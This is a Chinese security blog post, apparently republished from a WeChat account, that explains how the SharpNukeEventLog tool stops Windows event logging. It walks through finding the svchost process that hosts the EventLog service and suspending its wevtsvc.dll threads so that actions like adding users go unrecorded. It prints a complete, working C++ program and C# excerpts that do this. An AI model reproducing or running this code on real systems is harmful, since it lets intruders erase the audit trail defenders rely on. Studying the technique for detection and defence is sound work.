前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从SharpNukeEventLog看日志清除

从SharpNukeEventLog看日志清除

作者头像
鸿鹄实验室
发布2021-05-27 15:30:24
9260
发布2021-05-27 15:30:24
举报
文章被收录于专栏:鸿鹄实验室

Github上了一个名叫SharpNukeEventLog的项目,目的是在执行敏感操作时不会产生windows日志记录。地址为:

https://github.com/jfmaes/SharpNukeEventLog 本文将从原理的角度简析该工具的原理。

我们平时在进行windows的操作时都会产生对应的windows日志记录,以添加用户为例,

我们会在安全目录下产生6条事件记录,作为蓝队可以着重关注4720、4722、4724这三条日志记录。即使使用一些方法清除日志,也会留下id为1102的清除日志的记录。

而该工具则可以免除该问题,在windows中日志记录是依靠服务来进行生效的,其服务名称为:Windows Event Log

进程名为svchost.exe,我们可以用下面的命令来具体查看是那个进程负责该服务:

代码语言:javascript
复制
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

那我们的2224进程就是负责日志记录的进程,使用process hacker可以清除的看到其服务名及address(wevtsvc.dll)

那我们就可以遍历服务,查找进程,查找线程,查找地址,挂起线程,核心api为

代码语言:javascript
复制
DWORD SuspendThread(
  HANDLE hThread
);

流程如下:

1、使用OpenSCManagerA打开服务管理器

2、使用OpenServiceA打开eventlog服务

3、使用QueryServiceStatusEx查找进程ID

4、遍历进程中的内容,得到线程内容,使用SuspendThread挂起指定线程。

C++版demo,代码来自ired.team

代码语言:javascript
复制
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <TlHelp32.h>
#include <dbghelp.h>
#include <winternl.h>

#pragma comment(lib, "DbgHelp")

using myNtQueryInformationThread = NTSTATUS(NTAPI*)(
  IN HANDLE          ThreadHandle,
  IN THREADINFOCLASS ThreadInformationClass,
  OUT PVOID          ThreadInformation,
  IN ULONG           ThreadInformationLength,
  OUT PULONG         ReturnLength
  );

int main()
{
  HANDLE serviceProcessHandle;
  HANDLE snapshotHandle;
  HANDLE threadHandle;

  HMODULE modules[256] = {};
  SIZE_T modulesSize = sizeof(modules);
  DWORD modulesSizeNeeded = 0;
  DWORD moduleNameSize = 0;
  SIZE_T modulesCount = 0;
  WCHAR remoteModuleName[128] = {};
  HMODULE serviceModule = NULL;
  MODULEINFO serviceModuleInfo = {};
  DWORD_PTR threadStartAddress = 0;
  DWORD bytesNeeded = 0;

  myNtQueryInformationThread NtQueryInformationThread = (myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationThread"));

  THREADENTRY32 threadEntry;
  threadEntry.dwSize = sizeof(THREADENTRY32);

  SC_HANDLE sc = OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
  SC_HANDLE service = OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);

  SERVICE_STATUS_PROCESS serviceStatusProcess = {};

  # Get PID of svchost.exe that hosts EventLog service
  QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, (LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess), &bytesNeeded);
  DWORD servicePID = serviceStatusProcess.dwProcessId;

  # Open handle to the svchost.exe
  serviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, servicePID);
  snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

  # Get a list of modules loaded by svchost.exe
  EnumProcessModules(serviceProcessHandle, modules, modulesSize, &modulesSizeNeeded);
  modulesCount = modulesSizeNeeded / sizeof(HMODULE);
  for (size_t i = 0; i < modulesCount; i++)
  {
    serviceModule = modules[i];

    # Get loaded module's name
    GetModuleBaseName(serviceProcessHandle, serviceModule, remoteModuleName, sizeof(remoteModuleName));

    if (wcscmp(remoteModuleName, L"wevtsvc.dll") == 0)
    {
      printf("Windows EventLog module %S at %p\n\n", remoteModuleName, serviceModule);
      GetModuleInformation(serviceProcessHandle, serviceModule, &serviceModuleInfo, sizeof(MODULEINFO));
    }
  }

  # Enumerate threads
  Thread32First(snapshotHandle, &threadEntry);
  while (Thread32Next(snapshotHandle, &threadEntry))
  {
    if (threadEntry.th32OwnerProcessID == servicePID)
    {
      threadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE, threadEntry.th32ThreadID);
      NtQueryInformationThread(threadHandle, (THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL);
      
      # Check if thread's start address is inside wevtsvc.dll memory range
      if (threadStartAddress >= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage)
{
        printf("Suspending EventLog thread %d with start address %p\n", threadEntry.th32ThreadID, threadStartAddress);

        # Suspend EventLog service thread
        SuspendThread(threadHandle);
        Sleep(2000);
      }
    }
  }

  return 0;
}

现在让我们回到SharpNukeEventLog,其Program.cs为核心代码,STRUCTS.cs为定义的结构体,而win32 api的调用利用的是DInvoke,与C++版本不同的是,其查找进程的方法为直接调用的WMI,这也是C#的优点,核心函数如下:

代码语言:javascript
复制
 public static int GetEventLogPid()
        {
            int pid = 0;
            ManagementObjectSearcher mgmtObjSearcher = new ManagementObjectSearcher("SELECT ProcessId FROM Win32_service WHERE name = \'eventlog\'");
            ManagementObjectCollection eventlogCollectors = mgmtObjSearcher.Get();
            //long live IEnumerables...
            if (eventlogCollectors.Count != 1)
            {
                throw new Exception("there should only be one eventlog collector on the system");
            }
            foreach (ManagementObject eventlogcollector in eventlogCollectors)
            {
                object o = eventlogcollector["ProcessId"];
                pid = Convert.ToInt32(o);
                //pid = Convert.ToUInt32((uint)eventlogcollector["ProcessId"]);
            }
            Console.WriteLine("target found, nuke launched on the eventlog threads of PID: " + pid);
            return pid;
        }

后面的就没什么的不同了,最后使用SuspendThread挂起线程。

代码语言:javascript
复制
 Generic.DynamicAPIInvoke("kernel32.dll", "SuspendThread", typeof(DELEGATES.SuspendThread), ref suspendParams, true);

demo:

参考文章:

https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog-service-threads

https://github.com/jfmaes/SharpNukeEventLog

https://artofpwn.com/phant0m-killing-windows-event-log.html

https://zhuanlan.kanxue.com/article-10729.htm

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-05-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档